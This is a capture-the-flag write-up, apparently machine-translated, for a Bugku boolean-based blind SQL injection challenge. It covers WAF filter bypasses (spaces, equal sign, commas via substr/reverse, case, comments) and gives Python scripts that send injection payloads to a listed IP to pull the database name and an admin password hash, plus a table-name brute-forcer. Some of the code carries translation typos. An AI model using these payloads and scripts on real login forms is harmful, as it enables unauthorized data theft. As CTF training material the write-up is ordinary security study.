Bugku sql injection Boolean-based SQL blind injection classic question where information filtering

Table of Contents

Bypass spaces

/**/Bypass

() bypass

Enter to bypass

·(key button) bypass

equal sign bypass

Bypass, (comma) use substr

There are basic bypasses below

Comment bypass

/**/Bypass

#Bypass

/*Comment content*/Bypass

//comment bypass

Case bypass

Bypass information filtering

Simple blast table name


bugku Boolean-based SQL blind injection_bugku Boolean-based SQL blind injection-CSDN blog

The questions I encountered during the assessment were revealed in the database and I had no idea how to solve them.

Get the original title here and record it

First, let’s get the login interface and test it.

Enter the admin password and enter it casually

Enter admin123 and enter the password as you like.

I found that the admin here exists in the database, but if it does not exist, it will echo back that it does not exist.

So here we can confirm that admin is true

Then we start fuzzing

Found a lot of filtering. . . . . Where information is filtered

Then we go around one by one

Bypass spaces

/**/Bypass

select/**/*/**/from/**/username

()Bypass

select(*)from(username)

Enter to bypass

Because mysql will only be executed when it encounters;
So we can pass
bypass

select
*
from
username

·(key button) bypass

select`*`from`username`

There are many ways to bypass this

The following is the bypass of the equal sign

Equal sign bypass

Here we can use <> to bypass the equal sign

<> means the inequality sign

So we can construct it through <>
a'or(1<>2)# The echo here is 1 because 1 is not equal to 2 and admin exists

a’or(1<>1)# The echo here is 0 because 1 is equal to 1

Now we can start blasting the database

We can know how to construct the payload

a'or(ascii(substr(database()),0,1)<>1)#

But we found that it is filtered here because , is filtered

So we cannot use this method

Bypass, (comma) use substr

Here we learn a way

substr('flag' from 1)
SELECT substr('flag' from 1) --->flag

SELECT substr('flag' from 2) --->lag

SELECT substr('flag' from 3) --->ag

SELECT substr('flag' from 4) --->g

But what we found here is that we cannot search for the flag through 1 and then query

We can use the reverse output to see reverse

SELECT substr((reverse(substr('flag' FROM 1)))FROM 4)


f


SELECT substr((reverse(substr('flag' FROM 2)))FROM 3)

l



SELECT substr((reverse(substr('flag' FROM 3)))FROM 2)

a



SELECT substr((reverse(substr('flag' FROM 4)))FROM 1)

g

Implemented reading

Here we can perform payload splicing

a'or(ord(substr((reverse(substr((database())from(2))))from(8)))<>98)#

Let’s analyze it again

a'or(ord(substr((reverse(substr((database())from(1))))from(8)))<>1)#

The content is actually

a' or ord(substr(reverse(substr(database() from 1)) from 1))<>1

We first pass

substr(database() from 1) to output

But this time the entire content is returned. If the database is admin
Then the response at this time is admin

We use flip

reverse(substr(database() from 1))

What is returned is nimda

At this time, the maximum value we access is 5


substr(reverse(substr(database() from 1)) from 5)

It returns a

We get the content of the first character

Why should we use ord here? Because the encoding of ascii in mysql is the same for upper and lower case 's'='S'

So we start writing python code

import requests
import string,hashlib
import time
url = 'http://114.67.175.224:13436/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,8):
    for j in range(8,0,-1):
        for k in range(48, 128):
                payload = """a'or(ord(substr((reverse(substr((database()))from({0}))))from({1})))<>{2}) #""".format(i, j, k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist' in res.text:
                    password + = chr(k)
                    print(password)
                    break
                res.close()

Obtained the database name blindsql

But when we continued, we found that we couldn’t continue.

Because information where etc. are filtered

There is a basic bypass method below

Comment Bypass

The principle here is that what follows the annotation will be executed.

/**/Bypass

select * from users /**/ where id = 1 

#Bypass

select * from users # where id = 1 

/*Comment content*/Bypass

select * from users /* where id = 1 */

//Comment bypass

select * from users // where id = 1 

Case Bypass

If waf is not case sensitive we can use this

sElEct * from users whErE id = 1 union sElEct 1,2,3

Bypass information filtering

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

mysql.innodb_table_stats

mysql.innodb_index_stats

But before that we first need to see what our version is

Modify the above payload

payload = """a'or(ord(substr((reverse(substr((version()))from({0}))))from({1})))<>{ 2})#""".format(i, j, k)

So none of the above can be used. . . .

Simple blasting table name

Here we start to think about whether we can explode

Here are two

a' or exists(select * from user)#

If true is returned here, it means that the user exists


a'or admin.test is null


Returning true here means it does not exist

But neither of these can be used because they are all filtered.

Here we start to have difficulties

Here we can use another blasting method

a'or(length((select(group_concat(flag))from(blindsql.test)))>0)#


The test and flag here are the contents we need to replace in the dictionary.

This is actually a pure explosion.
import requests
importsys

url = 'http://114.67.175.224:13436/'
res = 'burst'
shuzi = 1
#Read dictionary
file = open(r'C:\Users\Administrator\Desktop\Offense and Defense\Penetration\Dictionary\Password\Top50.txt','r')
lines = file.readlines()
file.close()
lines = [line.rstrip() for line in lines]
for line in lines:
    for line2 in lines:
        paylaod = """a'or(length((select(group_concat({0}))from(blindsql.{1})))>0)#""".format(line2, line)
        print(paylaod)
        data = {
                'username':paylaod,
                'password':'asdba'
                }
        response = requests.post(url=url,data=data)
        shuzi + =1
        if "password error!" in response.text:
            print("The blasting is over----blasted" + str(shuzi) + "times")
            print(paylaod)
            print("Table name:" + line)
            print("Field name:" + line2)
            sys.exit()

But there is really no dictionary here, and I haven’t found a dictionary that can explode.

Then we can read it directly

a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(1)))from(32)))<>52)#</ pre>
<p> </p>
<pre>import requests
import string,hashlib
import time
url = 'http://114.67.175.224:18038/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,40):
    for j in range(40,0,-1):
        for k in range(48, 128):
                payload = """a'or(ord(substr(reverse(substr((select(group_concat(password)))from(blindsql.admin))from({0})))from({1}) ))<>{2})#""".format(i, j, k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist!' in res.text:
                    password + = chr(k)
                    print(password)
                    break
                res.close()

4dcc88f8f1bc05e7c2ad1a60288481a2

But it’s true that this explosion is too slow.

I will introduce another method here

a'or((ascii(substr((select(password))from(1)))-48))--


In fact, the most important thing here is


ascii and -48

-48 is minus 48

That is, we query the first letter of the passaword. If it is 48, which is 1, it will output 0, then the overall output will be 0.

If it is not 48, output 1 and the overall value is 1.


There is no need to use flipping here

because

ascii(substr((select(password))from(1)

Here you only need to modify 1 2 3 to get the ascii of this first character

So we start constructing

import requests
import string,hashlib
import time
url = 'http://114.67.175.224:18038/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,40):
        for k in range(48, 128):
                payload = """a'or((ascii(substr((select(password))from({0})))-{1}))#""".format(i, k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist!' in res.text:
                    password + = chr(k)
                    print(password)
                    break
                res.close()

The speed is indeed much faster

Then we can log in